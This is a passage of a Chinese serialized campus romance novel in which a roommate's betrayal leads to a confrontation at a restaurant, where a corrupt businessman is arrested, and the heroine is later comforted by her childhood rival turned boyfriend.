“这不是赞助!不是赞助!是投资啊兄弟们!”周予几乎要语无伦次了。 陈默嘴角虽也压不住笑意,却还是冷静提醒道:“社长, 淡定。Term Sheet只是投资意向书,不是最终合同。后面还有尽职调查、正式协议谈判,还有得我们准备呢。” “我知道我知道!”周予用力拍了拍大腿,“但这已经是里程碑了!天大的里程碑!回去必须庆祝!我请客!谁都别跟我抢!” …… 接下来的几天,307实验室仿佛被注入了新的灵魂, 每个人都像上紧了发条。 周予几乎住在了实验室, 带着核心成员根据启明那边发来的资料清单, 开始紧锣密鼓地准备尽职调查所需的各项文件。技术文档、财务预算、团队构成、只是产权疏离……每一项都需要做到极致严谨。 这天下午, 夏篱正在和何晓雯核对飞控算法的核心代码文档,手机屏幕忽然亮了一下,显示有一条新的微信好友申请。她随手点开, 在看到申请人的头像和昵称时,动作顿住了。 头像是凌空科创的logo,昵称是“冯哲”。 申请备注里只有简短的两个字:“谈谈。” 夏篱的眉头几不可察地蹙了一下。 那天在云顶餐厅, 唐简跟着冯哲进了洗手间后具体发生了什么,她并没有追问, 唐简也只是轻描淡写地说“解决了”。但冯哲之后迅速离场,以及这段时间凌空科创的彻底沉寂, 都印证了唐简的话。 冯哲此时这举动,真是诡异又没必要。 她没有点通过,也没有理会,直接将手机屏幕按灭, 继续投入工作。 日子在忙碌中飞逝。 与启明科技的合作推进得异常顺利,对方的专业和高效让整个团队都受益匪浅。初步的资金到位后,王海和张铭轩立刻开始了新一轮的物料采购和加工联系,目标直指性能更强、精度更高的“探索者2号”验证机。 有了资金支持,之前许多被搁置的计划立刻被提上日程。曾经只能在仿真软件里幻想的部件,如今正源源不断地被送往307实验室和学校为他们协调出的一个更宽敞的临时工作间。 上周篮球队顺利越过基层赛,打入分区赛,唐简的训练任务也比之前加强了许多。 这天是周六,夏篱原本打算在实验室泡一下午完善仿真模型。刚收拾好东西准备出门,却被从床上探出头的梁清波叫住了。 “篱篱,等一下。” 夏篱脚步一顿,回头看她。 自从梁清波隐瞒她和陆子航之间的关系、航模社项目立项波折、凌空科创等等一系列事件若隐若现地横亘在两人之间后,她们已经很久没有像以前那样自然地交谈了。宿舍气氛时常也带着一种微妙的尴尬。 夏篱虽有过下定决心要跟她坦诚交流的想法,但每每和她面对面时,却总是不知该如何张口。 夏篱此时看着梁清波,尽量让自己的语气听起来平常些:“怎么了?” 梁清波从床上爬起来,脸上带着一丝刻意的、试图拉近距离的笑容:“没啥大事,就是感觉我们宿舍好久没一起聚餐了。你看,最近你不是忙社团就是忙学习,苗苗和方茴也各有各的事。马上我们都快期中考试啦,肯定会越来越没时间。今天周六,天气也不错,我们一起去市中心那边逛逛街吧?晚上在那再一起吃个饭。我知道那新开了一家口碑很好的融合菜馆,听说味道和环境都挺好的。” 一旁的乐苗闻言立刻举手附和:“好好好嗷!我最近快被专业课逼疯了,急需美食治愈!” 方茴也摘下耳机点了点头:“可以,反正下午我也没事。”说完她看着夏篱,认真道,“而且我也觉得篱篱你该放松放松自己了……之前拉不到赞助你天天忙得看不见人,现在不是有人投资了吗?你也说了进展还算顺利,就不要天天绷那么紧了。一起出去玩玩放松下吧。嗯?” 夏篱看着梁清波眼中的期待,又看了看乐苗兴致勃勃和方茴担忧的神色,犹豫了一下。她确实很久没有和室友们一起活动了,心底深处,她也并不想将宿舍关系彻底搞僵。或许……这是一个缓和的机会也说不定。 “好啊。”她最终点了点头,将背包放下,“那我跟社团说一声,下午不过去了。” 梁清波脸上瞬间绽放开一个灿烂的笑容:“太好了!那我们就这么说定了!” 下午,四个女生一起乘地铁去了市中心。 初冬的午后,阳光还带着几分暖意,街上行人熙熙攘攘。乐苗和方茴兴致很高,拉着夏篱和梁清波穿梭在各家店铺之间,试衣服、看饰品,叽叽喳喳地说笑。梁清波也表现得格外活跃,不时给她们推荐搭配,仿佛又回到了之前大家刚认识时的亲密无间。 夏篱起初还有些心不在焉,想着实验室的进度,但渐渐也被这种轻松的氛围感染,暂时将那些技术难题和社团琐事抛在了脑后。 逛了两个多小时,大家都有些累了。 梁清波看了看时间提议道:“差不多到饭点了,我们直接去餐馆吧?我说的那家就在附近不远。” 梁清波所说的那家融合菜馆位于一条相对安静的支路上,门面设计得颇具格调,低调的金属招牌上刻着“云隐”二子,透过巨大的落地玻璃窗,能看到内部雅致温馨的装修和柔和的光线。 但因为周末的原因,一眼看去里面几乎座无虚席。 “这么多人?”乐苗小小震惊了下,“会不会还要等位啊?” “不会,”梁清波语气轻快,“它这里能线上预订,我早订好位子了。” 方茴讶异,“这么高级……那会不会特别贵啊?” “一个人来吃肯定贵啦,但我们AA怕什么,再说又不是天天吃。”梁清波说。 推开门,侍应生热情地迎上来,梁清波报上预订信息。四人被引向一个靠窗的、用半高隔断围起来的卡座。位置很好,视野开阔,又能保证一定的私密性。 落座后,乐苗和方茴兴奋地研究着设计精美的菜单,讨论要点那些招牌菜。夏篱端起水杯喝了一口,目光不经意地扫过餐厅内部。环境确实不错,客人虽不少,但氛围也算安静,舒缓的爵士乐在空气中流淌。 她的视线在掠过斜后方一个较为隐蔽的角落时,猛地顿住了。 那个卡座里坐着一个人,正侧对着她们的方向,慢条斯理地切着盘子里的牛排。金丝边眼镜,一丝不苟的发型,嘴角噙着一抹看似温和实则带着算计的笑意——不是冯哲又是谁? 而就在夏篱看到他的瞬间,冯哲也恰好抬起头,目光直直地朝她这边看了过来。他的脸上没有丝毫意外,反而像是等候多时一般,对着夏篱举了举手中的红酒杯,脸上笑容加深,带着一种令人不适的笃定。 夏篱的心脏猛地一沉,握着水杯的手指下意识地收紧,指尖微微发白。 一瞬间,许多零碎的细节在她脑海中飞速串联起来:梁清波突如其来的、异常热情的聚餐邀请、特意选择的这家餐厅以及此刻“恰好”出现在这里的冯哲…… 这不可能仅仅只是巧合。 她缓缓放下水杯,转过头,目光堪称冷淡地看向坐在对面的梁清波。 梁清波正低头看着手机飞快地打着字,嘴角还带着一丝若有若无的笑意,但那笑意在接触到夏篱审视的目光时,瞬间僵了一下,随即有些不自然地收起手机,强作镇定地凑向身旁的方茴,嘴里说着:“还没看好吗?他们家的黑松露和牛还可以,上次……” “大波,”夏篱开口,声音不大,却清晰地打断了梁清波的话,带着一种冷冽的平静,“冯哲怎么会在这里?” “什么?”梁清波猛地抬起头,眼神游移着不敢与她对视,“什么冯哲,在哪里?” 乐苗和方茴也察觉到了气氛不对,停下了点菜的动作,疑惑地看着夏篱,又看看梁清波。 “谁啊?”乐苗好奇道。 夏篱没有回话,也没有移开视线,依旧盯着梁清波。她没开口,却带着一种无形的压力,微微侧头,用目光示意了一下方向。 梁清波并没扭头朝夏篱示意的方向看,张了张嘴似乎想辩解什么,但在夏篱那双仿佛能看透一切的眼睛的注视下,所有预先想好的托词都卡在了喉咙里。她放在桌下的手无意识地绞紧,“我……我不知道啊……可能,可能只是碰巧吧……” “碰巧?”夏篱咬了咬牙,唇角勾起一抹极淡的、带着嘲讽的弧度,“你自己信吗?” “……” 乐苗皱起了眉头,她虽然有时候有些神经大条,但此刻也嗅到了不对劲:“怎么了到底?谁是冯哲啊?”她扬着下巴四处张望,却没发现什么不对。 方茴也放下手里的菜单,看着两人之间隐隐“剑拔弩张”的气氛,眼神里充满了疑惑和担忧。 卡座里的气氛瞬间降到了冰点。 就在这时,一阵脚步声由远及近。 “夏同学,真巧啊。”冯哲停在她们的卡座旁,目光先是落在夏篱身上,然后才仿佛刚看到其他人似的,对梁清波笑了笑,“清波也在?那这两位大概就是你们的室友吧?” “我们还真是有缘分。” 第83章 冯哲的声音带着一种刻意的亲昵和不容错辨的虚伪, 像一块油腻的抹布,擦过原本就凝滞的空气。他站在那里,西装革履, 金丝边眼镜后的目光精准地锁在夏篱身上,完全无视了旁边乐苗和方茴惊疑不定的眼神, 以及梁清波瞬间煞白的脸。 “缘分?”夏篱放下水杯,指尖因为用力而微微泛白,她抬起眼,目光冷得像冰,直刺向冯哲, “冯总觉得, 这种处心积虑安排的‘巧合’, 也配称为缘分?” 她的声音不高, 却清晰地穿透了餐厅背景的爵士乐,带着一种斩钉截铁的锋利。 冯哲脸上的笑容僵了一瞬,但很快恢复如常, 甚至更添了几分令人作呕的“宽容”:“看来夏同学对我误会很深啊。我只是恰巧在这里用餐,看到你们几位青春靓丽的女士,过来打个招呼而已。” “既然只是打招呼, 那打完了就请赶紧离开吧这位先生。”方茴警惕地看着他。 她虽然不清楚他和自己室友间是什么关系,但看夏篱的态度和对方脸上虚伪到令人不适的神情, 她就觉得多一事不如少一事。 坐在方茴对面的乐苗就没有她那么冷静了,闻言止不住一脸嫌弃地看着冯哲, 直言道:“‘青春靓丽……’yue……你也太不要脸了吧!小心我们告你骚扰!” “你——!”冯哲脸上挂不住,但又碍于公共场合不便发脾气,只是冷冷看了眼穿着打扮五颜六色的乐苗说了句:“没教养的花蝴蝶。” “我靠,给你脸了是不是?!”乐苗气急拍了下桌子, 撑圆了贴着粉色假睫毛的大眼睛,“明明是你这个莫名其妙的登徒子过来给我们搭讪找麻烦,我还没骂你长得丑的老男人癞蛤蟆想吃天鹅肉呢!你倒蹬鼻子上脸了是吧!” “苗苗。”察觉到卡座这边的动静已经引起了周围几桌客人的侧目,夏篱轻轻拉住了气得发抖的乐苗。“冯总请回吧。我想我们之间没有特意打招呼的必要。” 冯哲见此,似乎笃定了夏篱为了颜面不敢在这里把事情闹大。 他往前凑近一步,压低了声音,语气却带着赤裸裸的威胁:“夏同学,年轻人有脾气是好事,但也要懂得审时度势。我知道你们拿到了启明的投资,翅膀硬了。但商场上,多个朋友总比多个敌人好。之前的事是我考虑不周,为此我向你道歉。但今天正好碰上,不如我们换个地方好好聊聊?化干戈为玉帛,对你们团队未来的的发展,只有好处没有坏处。何必因为那一点小误会,断送了大好前程呢?你说呢?” 他话语里的暗示再明显不过。 夏篱看着他这副嘴脸,只觉得一股恶心感直冲喉咙。她攥紧拳头,指甲深深陷入掌心,用疼痛强迫自己保持冷静。她知道在这里和冯哲争吵毫无意义,只会让室友难堪,让自己陷入更被动的局面。 她深吸口气,抬头看着冯哲用力抬起唇角扬起一个礼貌的微笑,“既然是跟社团有关,冯总还是直接和我们社长对接比较好,我只是个普通社员而已。” “夏同学别开玩笑了。”冯哲闻言嗤笑一声,“我在商这么多年,要是连你们那个‘傀儡’社长都看不出来,我也别混了。” “……” 夏篱眉间紧紧皱起来,闻言刚想开口再说什么,这时餐厅入口处却传来一阵不大却足以引起所有人注意的骚动。 几名穿着制服、神情严肃的警察在餐厅经理的引导下,步伐迅捷而目标明确地径直朝着他们这个方向走来。 柔和的爵士乐仿佛瞬间被按下了静音键,周围客人的低语和碗筷碰撞声也戛然而止,所有人的目光都不由自主地被这突如其来的变故吸引。 冯哲背对着入口尚未察觉,还在试图对夏篱施加压力:“夏同学,考虑一下我的提议?我知道你们现在……” “请问,是冯哲先生吗?”一个沉稳的男声打断了他的话。 冯哲不耐烦地皱起眉头转过身,还没来得及质问什么,声音就被卡在了喉咙里。 眼前是三名表情严肃的警察,为首的一人出示了证件,声音清晰而有力,在寂静的餐厅里回荡:“我们是北城市公安局经侦支队的。冯哲,你涉嫌利用职务便利,侵占国有资产,套取政府专项补贴且数额巨大。现在依法对你执行逮捕,这是逮捕令。” 说着,另一名警察上前,亮出了那张盖着红印的文件。 时间仿佛在这一刻凝固了。 冯哲脸上的从容、算计、虚伪,如同劣质的涂料般瞬间剥落,只剩下难以置信的惊骇和瞬间褪尽血色的惨白。他张着嘴,眼镜后的眼睛瞪得滚圆,似乎想说什么,却只能发出“嗬嗬”的气音。 “你……你们搞错了!不可能!我是冤枉的!我——”他猛地反应过来,试图挣扎辩解,声音尖利而慌乱。 但警察没有给他多余的机会。两人上前,动作利落地一左一右控制住他,冰冷的手铐“咔哒咔哒”两声,清脆地锁住了他的手腕。 那两声金属撞击声,简直像是两道惊雷,劈开了餐厅里闭塞的空气,也狠狠砸在夏篱几人的的心上。 乐苗和方茴惊得捂住了嘴,眼睛瞪得老大,完全被这急转直下的剧情惊呆了。 梁清波更是浑身剧烈一颤,脸色瞬间变得比冯哲还要难看,她死死地盯着被警察制住、狼狈不堪的冯哲,眼神里充满了惊恐和茫然。 夏篱也怔在了原地。 她虽然对冯哲不论从心里还是生理上都有一种深深的厌恶,但她也万万没想到,如此戏剧性的一幕会以这样一种方式,在这样一个时间、地点突然上演。 看着刚才还气焰嚣张、试图威逼利诱她的冯哲,此刻像一滩烂泥一样被警察架着,嘴里语无伦次地喊着“冤枉”、“我要找律师”,她心中却没有丝毫快意,只有一种沉甸甸的荒谬感。 “唐简……唐简!”被警察半拖半拽快到门口的冯哲突然发疯似的回头,瞪着夏篱涨红着双眼嘶吼:“我不会放过他的!这一切都是他的污蔑!他是个混蛋!我不会放过他的——” 夏篱神情一顿。 警察迅速带着声嘶力竭的冯哲离开,餐厅里死寂了几秒后,伴随着不断往夏篱这边探究的目光,爆发出更加热烈的窃窃私语。餐厅经理在一旁不停地道歉,试图安抚其他受到惊扰的客人。 但夏篱已经无暇顾及这些。 她的目光缓缓地、沉重地,转向对面仿佛灵魂出窍的梁清波。 冯哲的被捕像一块巨石投入深潭,激起的海浪虽尚未平息,但此刻,夏篱心中更汹涌、更刺痛的情绪,却是针对这个她曾经视为朋友,朝夕相处的室友。 梁清波这种从背后的、带着欺骗的捅刀,让她感到心寒彻骨。 “为什么?”夏篱开口,声音干涩,却带着一种穿透一切嘈杂的平静,这平静之下,是压抑到极致的愤怒和失望。 她心里像是堵着一块冰,又冷又硬。 她可以接受竞争,可以接受失败,甚至可以接受陆子航那种摆在明处的恶意,但她无法接受来自身边人的、如此处心积虑的背叛。 梁清波猛地一抖,像是被这句话烫到了一样,抬起头,泪眼婆娑地对上夏篱的目光。那目光里没有了往日的温和和包容,只剩下冰冷的审视和毫不掩饰的伤痛。 “对不起……篱篱,对不起……”她哽咽着,语无伦次,“我不是故意的……我真的没想到他会直接找过来。冯总他……他之前只是问我你今天做什么……他说他只是想找个机会再跟你好好谈谈合作。他还说他很欣赏你的能力,觉得之前有误会……他说只要我能帮他创造个偶遇的机会,他就能说服你,以后可以给我介绍实习……就算、就算我以后要读研,他也可以找相熟的老师帮我写推荐信……我想我们社团确实遇到了很多困难,想着或许可以一举两得,但我真的没想到他会……” “没想到?”夏篱的声音平静的可怕,“梁清波,我们都不是三岁小孩了。从你瞒着我和陆子航接触,到后来在赞助的事情上含糊其辞,再到今天……你一次次选择隐瞒,选择站在我的对立面,现在一句‘没想到’就想把一切抹平吗?” “陆子航?”一旁的方茴闻言难得也惊疑地瞪大了眼:“等等等等!你们究竟是在说什么啊?大波和陆子航怎么扯在一起了?还有篱篱,你们航模社的赞助怎么还跟大波有关系了?我怎么听不懂啊……” 乐苗双眼滴溜溜地在夏篱和梁清波之间转来转去,忽而福至心灵地张大了嘴,说,“所以……大波国庆假期前加的那个常常忙的不见身影的神秘社团其实是航模社???” 但这些问题,夏篱现在没有丝毫心情和她们一一解释什么,她只是看着梁清波深吸口气,强压下心头翻涌的酸楚和怒火:“我一直想找机会和你谈谈,我想也许你有什么苦衷,也许我们之间有什么误会。但现在看来,是我想多了。你不是糊涂,你只是做出了选择。” “不是的!篱篱你听我解释!”梁清波慌乱地抓住夏篱放在桌上的手,却被夏篱猛地甩开。 “解释什么?解释你怎么和陆子航越走越近?解释你怎么把我们的项目进展、我的行程透露给冯哲?解释你为什么要帮着外人来算计你的室友?!”夏篱的声音终于带上了一丝颤抖,那是被信任之人背叛的痛楚,“梁清波,航模社的事是我个人的选择,我从未强迫过你什么。你选择跟着刘雨萱,选择接近陆子航,那是你的自由。但你千不该万不该,不该把矛头对准我,更不该用这种下作的方式!” “是陆子航!是陆子航跟我说……他说只要能让你们不顺,他就能帮我争取到更多资源,能让学姐更看重我……她手里的资源到时候都会是我的,”梁清波用掌心抹了把脸上的泪,抽噎着说,“他说你们那个项目根本就是异想天开,注定会失败,还不如早点认清现实……我、我只是不想落后,我也想做出些成绩……刘雨萱学姐马上就要出国了,她手里的资源……陆子航说他可以帮我……” 梁清波断断续续的哭诉,拼凑出了一个更清晰的真相。 是陆子航在背后推动,利用梁清波的急于求成和对资源的渴望,将她变成了插在夏篱身边的一颗钉子。而冯哲,或许是陆子航引来的,或许是他自己嗅着味道找上门的,但无论如何,梁清波都成了那个“引路人”。 几乎已经了解了“来龙去脉”的方茴和乐苗,听得目瞪口呆。 “陆子航那个王八蛋!还有刚刚那个冯哲!他们……他们简直……”乐苗恨铁不成钢地看着梁清波,“大波你傻啊!他们摆明了是在利用你啊!你怎么能信他们的鬼话!” 方茴也有些无言以对,“大波,你……你真的太天真了,怎么能……怎么能对篱篱做出这种事!” 梁清波只是捂着脸抽泣着,再也说不出任何辩解的话。 夏篱看着眼前这个哭得几乎说不出话的室友,心中一片冰凉。 所有的疑问都有了答案,所有的侥幸都化为乌有。她忽然觉得无比疲惫,连争吵和质问的力气都没有了。 她拿起自己的包,看向乐苗和方茴,声音恢复了平静,却带着一种深深的倦意:“这饭我吃不下去了,我先回去了。” “篱篱——”乐苗和方茴同时叫她,脸上写满了担忧。 “我没事。”夏篱对她们勉强扯出一个笑容,“你们……陪她一会儿吧。帐我先结了。” 她不想再看梁清波一眼,转身径直往收银台走。 方茴因为梁清波在外堵着不方便,只好示意乐苗快跟上夏篱。 等结完账从餐厅里出来,夏篱才发现乐苗还跟在身后。 “我没事苗苗,你回去吧。”她看她笑笑,“我想自己待会儿。” 乐苗虽然平时有些咋咋唬唬,但真要她这么安慰人,她也确实不知道这时候能说什么。 “篱篱……你别太难过啊。”她拽拽她袖口,满脸担心地看着她。 夏篱笑着摸摸她粉色的假发,摇摇头,“不会的。我自己待会就好了。” 第84章 初冬的傍晚, 天色暗得早。 不过五六点钟,街道两旁的商铺已经亮起了暖黄的光,与灰蓝色的天幕交织在一起。 夏篱独自一人走在熙攘的人行道上, 周遭的热闹仿佛与她隔着一层透明的屏障。餐厅里发生的一切如同默片电影般在脑海中反复放映。她只觉得心口像是被什么东西狠狠堵住,又闷又痛。 经过陆子航的刁难、项目申请的波折和寻找赞助的艰辛, 夏篱以为自己已经足够坚韧,可以面对外界的任何风雨。却没想到最伤人的利刺,往往来自最意想不到的、身边最亲近的方向。 她和梁清波,虽然不是和孙翡那样无话不说的挚友,但也是朝夕相处了快一个学期的室友。一起熬夜复习, 一起分享家乡特产, 一起在深夜聊过对未来模糊的憧憬……那些日常的、细碎的温暖, 在此刻回想起来, 却像是一根根细小的针,密密地扎在心上。 信任一旦崩塌,重建谈何容易。 冷风拂过脸颊, 带来一丝刺骨的清醒。夏篱下意识地裹紧了外套,才发现自己不知不觉走到了一条相对安静的河边步道。河水在暮色中静静流淌,倒映着对岸繁华的灯火, 波光粼粼,却照不亮她心底的沉郁。 她找了个临河的长椅坐下, 望着漆黑的水面发呆。冯哲被捕前那歇斯底里的嘶吼再次回响在耳边——“唐简!我不会放过他的!这一切都是他的污蔑!” 是唐简。 这个认知清晰地浮现在脑海。 他向来说到做到。 她记得答应周予去参加交流会的早上过后一直到第二天晚上出发前,将近一天半的时间她都没再见过他。当时他跟自己说有个实验数据教授要的急, 交流会前他可能要泡在实验室里记录,没时间陪她一起吃饭了。 当时她并未觉得有什么不对。 现在想想,想必他就是利用那短短一天半的时间搜集了冯哲那些隐蔽的罪证,并且如此精准、雷霆般的出手。 不论那天在云顶餐厅的洗手间里唐简对冯哲说了什么, 那都不仅仅是警告和威慑,而是真正意义上的“解决”——他一早就是这么打算的。 他为她扫清障碍,以一种最彻底、最不留后患的方式。 心里那团冰冷的郁结,似乎因为想到唐简,而渗入了一丝微弱的暖流。 口袋里的手机嗡嗡震动起来,打破了周围的寂静。夏篱掏出来一看,屏幕上跳动着“唐杀千刀”四个字。她看着那名字,指尖在接听键上悬停了几秒,最终还是划开了屏幕。 “喂?”她声音带着一丝自己都未察觉的沙哑。 电话那头沉默了一瞬,随即传来唐简低沉而稳定的声音,带着不易察觉的急切:“在哪?” 他果然知道了。 夏篱并不意外,大概是乐苗或者方茴给他发了消息。她报出了河边步道的位置。 “在那等我。”唐简说完便挂了电话。 放下手机,夏篱轻轻吁出一口气,白色的雾气在寒冷的空气中迅速消散。她抱着膝盖,将下巴搁在膝盖上,继续望着河面出神。愤怒和失望的情绪渐渐沉淀下去,剩下的是无尽的怅惘和对人际关系脆弱的唏嘘。 不知道过了多久,熟悉的脚步声由远及近,沉稳而有力,打破了步道的宁静。 夏篱没有回头,直到一件带着体温和熟悉皂荚香的黑色夹克披在了她的肩上,驱散了周身的寒意。唐简在她面前半蹲下,摸了摸她冰凉的手攥在掌心里,仰头看着她没有说话。 夏篱和他四目相对,望着他担忧深邃的眼,半晌轻轻提起一个笑。 唐简凑上前在她眼皮上轻轻亲了亲,弯腰抱起她自己坐在长椅上,再将她横放在腿上搂紧,下巴在她额头上轻轻一蹭。 “你要想哭就哭吧。” 夏篱原本心里还是挺不是滋味的,但也不知为何,唐简的这句话却反而安抚住了她翻涌的心绪。 “你都知道了?”良久她开口,声音倒是还有些闷闷的。 “嗯。”唐简应了一声,言简意赅,“方茴给我发了消息,说了个大概。” 又是一阵沉默。 秋末冬初的晚风带着沁骨的凉意,吹动着岸边干枯的芦苇,发出沙沙的轻响。 少顷夏篱转过头,在昏暗的光线下看向唐简线条分明的侧脸,“你知道吗?冯哲被抓的时候骂你了。” “……”唐简冷笑一声,对此不甚在意。但随即他却捏了捏夏篱的掌心,带些歉意地说:“我没想到他还会有胆子再来找你。” 夏篱宽慰地靠到他颈边,继续看黑沉沉的河面,“冯哲那个人自视清高,他觉得你不过是个大二的学生,再有能耐能到哪去。就算他当时被你吓住了,回头再想起来也不会把我们放在眼里的。” “不过,当时你都跟他说什么了?”夏篱好奇又问,“我记得警察说自己是经侦支队,还说他侵占国有资产,诓骗政府补贴什么什么的……这些都是你那一天半时间查到的吗?你还懂这些啊?” 唐简闻言笑了声,“我找砚哥帮忙的。” “我哥?”夏篱直起身,瞪大眼看他。 唐简点点头,“冯哲那样的人我不相信他手脚能干净到哪去,所以就找砚哥看看。专业的就是不一样,光是把他们网站上公布的那些数据从头看到尾就发现不少问题。政府补贴这些用处都是有迹可循的,他们一看就能看明白。其实我也没做什么,等砚哥那边查得差不多,我听他的拿着那些资料到税务局一举报,他们一查一个准。” 夏篱呆呆看着唐简眨了眨眼,还是有些瞠目结舌,再如何她都没想过,这事居然还有老哥的事。 唐简看她一副惊呆了的傻傻表情就觉得有点好笑,当然,最多的还是可爱。忍不住凑上前亲亲她,一次不够,又来一次,须臾他情不自禁按住她脑后刚想来个深吻时,终于回过神来的夏篱,伸手揪住他两边脸蛋将他拉开“嘶”了声,皱眉道,“你没跟我哥说是因为我——” “没有。”唐简把她的手拽下来,在她手背上亲了口,“我还不知道你啊?从小到大不论做什么只想一门心思往前冲,从不想让他们担心……不然社团赞助的事就算你不给干爸他们提,你自己手里的零花钱也能分分钟可以把事情解决掉了不是吗?” 夏篱闻言撇撇嘴,“我的零花钱那也是爸妈他们给的啊……” 唐简摇摇头,表情甚是有些无奈。 “你这脾气也不知道是随了谁。干爸他们竭尽所能给我们最好的生活,可你偏偏就喜欢给自己找那些困难上。” “这是两码事好吗?”夏篱倒觉得自己门清,“你看从小到大我们确实生活的很好,想什么有什么,爸妈他们真是恨不能把全天下的好东西都给我们。可是除此之外,很多事情就是需要我们一步一个脚印,一点点努力才能实现的啊。” 就像一架从商店买回来的完整飞机模型和一架自己从喷绘布线一点点组装起来的飞机模型,自己拿在手里的感觉那一定是天壤之别。 轻易得到和付出努力得到带给自己的满足感是不可比拟的。 “你敢说你当初经过一轮轮考核,最终拿到北大和海大双学籍通知书的时候不骄傲不自豪不觉得自己超厉害的吗?”夏篱歪头睨着唐简道。 唐简被她的小表情逗笑了,认真地点点头应她,“嗯。不敢。” 夏篱一瞅他脸上表情就知道他是在故意逗自己,捏着他的脸晃了晃,“唐建军你可真烦人。” 唐简笑了两声,到底是没忍住,搂在夏篱腰后的手用力,低头咬住她的唇。夏篱静了两秒钟,才闭上眼两手攀在他肩上,轻轻地回吻他。 距离两人上一次……也是第一次亲吻其实已经过去有段时间了,虽然唐简近来回味无穷细细品味,但毕竟苦于实践的匮乏,所以还是使得这亲密显得有些不得章法的急切。 事后良久两人的呼吸仍旧紊乱,夏篱额头抵着唐简的,看着近在咫尺的人,不知为何就笑了。就觉得世间事真是神奇,他们两个明明从小就谁也不对付谁,可如今怎么就…… 唐简仿佛她脑子里的蛔虫似的,见她笑,意犹未尽地在她唇上啄了口,“你是不是在想,明明我们以前谁也不服谁,此刻却能在这里做这些事。”他说着,又在她唇上轻咬了一口。 夏篱“啧”一声,“唐建军,你真可怕。” 唐简用指腹蹭蹭她的脸,“不是我‘可怕’,是我聪明实事求是。”他瞅她撇嘴不服,笑着又说道,“你仔细想想,自小到大咱们两个人之间的‘争强好胜’哪次不是你跟在我后面追着跟我比的?我可是一次都没有主动跟你对着干。” 夏篱闻言静了静,少顷睁圆了眼睛看着他,“……没有吗?” ——好像还真是没有。 初高中不论是小到演讲比赛、在国旗下发言,还是大到中学生机器人大赛和各种学科竞赛,只要前一年他拿了奖,那后一年的奖她就一定会给捧回来。甚至连现在她常常形影不离的滑板,都是小时候她看他无聊学了一段时间而上心,以势必要玩得比他厉害的想法才真正喜欢上的。 唐简细细瞧着她脸上的表情,看她眼睛里“恍然大悟”的神色,忽而缓缓道:“人和人不一样,阿篱。不是所有人都像你一样,清楚自己想要什么,并且愿意为之付出纯粹的努力。对有些人来说,捷径的诱惑太大,大到可以让他们忽略其他的一切。” 他的声音很平静,仿佛只是在陈述一个事实。夏篱反应了一下,才明白过来他是在说梁清波的事。 “那……我们以后怎么办?”许久她叹息般的轻声问。 同一个宿舍,往后还要朝夕相对,那种尴尬和隔阂,想想都让人觉得窒息。 “你不需要为难自己。”唐简握紧了她的手,“错不在你。如果觉得不舒服,我们就申请调换宿舍。或者……你想要到外面住也可以,虽然没有在学校住得方便,但这样见不到面你也许可以舒服点。眼不见心不烦。” 他的提议很直接,也确实是解决问题的一种方法。 但夏篱却摇了摇头。 她一方面觉得很难过,一方面又觉得为此这样兴师动众没有必要。况且,乐苗和方茴是无辜的,她这样做也会伤害到她们,这对她们不公平。 “再说吧。”夏篱叹口气,“先冷静几天。” 唐简没有再劝,只是尊重她的决定。 “好。你想怎么做都行,有我。” 第85章 夏篱并没有在河边待太久。 唐简的怀抱固然温暖, 但现实的烦恼却也不会因此而消失。 她需要回去面对。 站在宿舍门口,夏篱握着冰冷的门把深深吐了好几口气才下压,推门进去。 乐苗和方茴都在, 看到她进来,同时扭头看她, 用眼神询问她还好吗,眼神里充满了担忧和欲言又止。而梁清波的床铺帘子紧闭,里面没有任何声响。 夏篱对着两人笑笑示意自己没事,拿着洗漱用品去了洗手间。 冰凉的水扑在脸上,稍微冷却了心头的滞闷。她看着镜子里自己略显苍白的脸, 深吸了一口气。 唐简说得对, 错不在她。 她不需要用别人的错误来惩罚自己, 更不需要为此感到愧疚或不安。 那一夜, 宿舍里静得可怕。连平时最活泼的乐苗都噤若寒蝉,早早爬上了床。 第二天是周日,夏篱醒得很早。 她轻手轻脚地起床, 尽量不惊动其他人。拿着洗漱用品去外面的水房洗漱,当她收拾好东西拿着小鱼板准备出门时,下意识地瞥了一眼梁清波的床铺, 帘子依旧紧紧闭着,就像从昨晚她回来后一样。 楼下唐简看见她从宿舍楼里出来就扬起一个温柔的笑, 牵住她的手摸了摸她头发,“今天想吃什么?” 夏篱踩上滑板慢悠悠往前滑着, 闻言稍作思索扭头看他:“肠粉吧?我突然很想吃虾仁肠粉。” 唐简握紧她的手,跟着她滑板的速度跑起来,笑着扬声应她:“好。” 他并未再提及丝毫关于梁清波的事,因为知道这不是能够一朝一夕可以释怀和想明白的事情, 需要时间把那些情绪慢慢消散,让它成为记忆里最终不复存在的东西。 因为篮球社还有早训,唐简将她送到工程楼下就被夏篱赶走了。 夏篱到楼上时,实验室里只有何晓雯和王海在,两人正对着电脑屏幕讨论着什么。 “来了?”何晓雯抬头看到她,打了个招呼,随即敏锐地察觉到她情绪不太对,“怎么了?脸色这么差?没休息好吗?” “没事,”夏篱放下背包,看她笑笑,“昨晚有点没睡好。你们在说什么?” 何晓雯推了推眼镜,言简意赅:“‘探索者2号’主翼连接件的应力集中问题。仿真显示这里风险很高,王海想用更贵的钛合金,我觉得可以通过结构优化解决。” 话题不着痕迹地被引向了技术层面,夏篱投入讨论。她思路清晰,总能一针见血地指出问题关键,而专注的工作也确实是忘却烦恼最好的方式了。 只是没一会儿,周予就在航模社群里发过来一排感叹号和一排冷汗的表情。紧接着,他转发了一个新闻链接后又直接发了几张照片。 三人里最先发现群里消息的是王海,他点开新闻链接大致扫了眼后就迫不及待地拍拍桌子,“你们快看社长发在群里的消息……冯哲被捕了!” “谁?”何晓雯没反应过来,“谁被捕了?” “冯哲!就那个冯总!凌空科创的冯总!我们差点签合同找的那个赞助人!” “哦。”何晓雯反应平平,甚至没想着打开手机看一眼。 夏篱的反应也和她基本没差,手上动作停都没停。 “不是……你们反应这么平淡的吗?”王海震惊。 何晓雯敲着键盘扭头看他一眼,配合问了句,“为啥被捕的?” 王海把新闻里的内容大概给她说了遍,“咱社长现在在群里发疯……感叹咱们社福大命大,不仅成功躲过了个大坑,还抱上了启明的大腿。” 何晓雯“啧”了声,扭头再看一眼身旁的夏篱,“那社长确实该给学妹磕一个。” “……” 夏篱被何晓雯语不惊人死不休的一句话给逗笑了下,只是原本她也没打算去看微信消息的,但很快却听到有人给她打语音电话的铃声。 是孙翡。 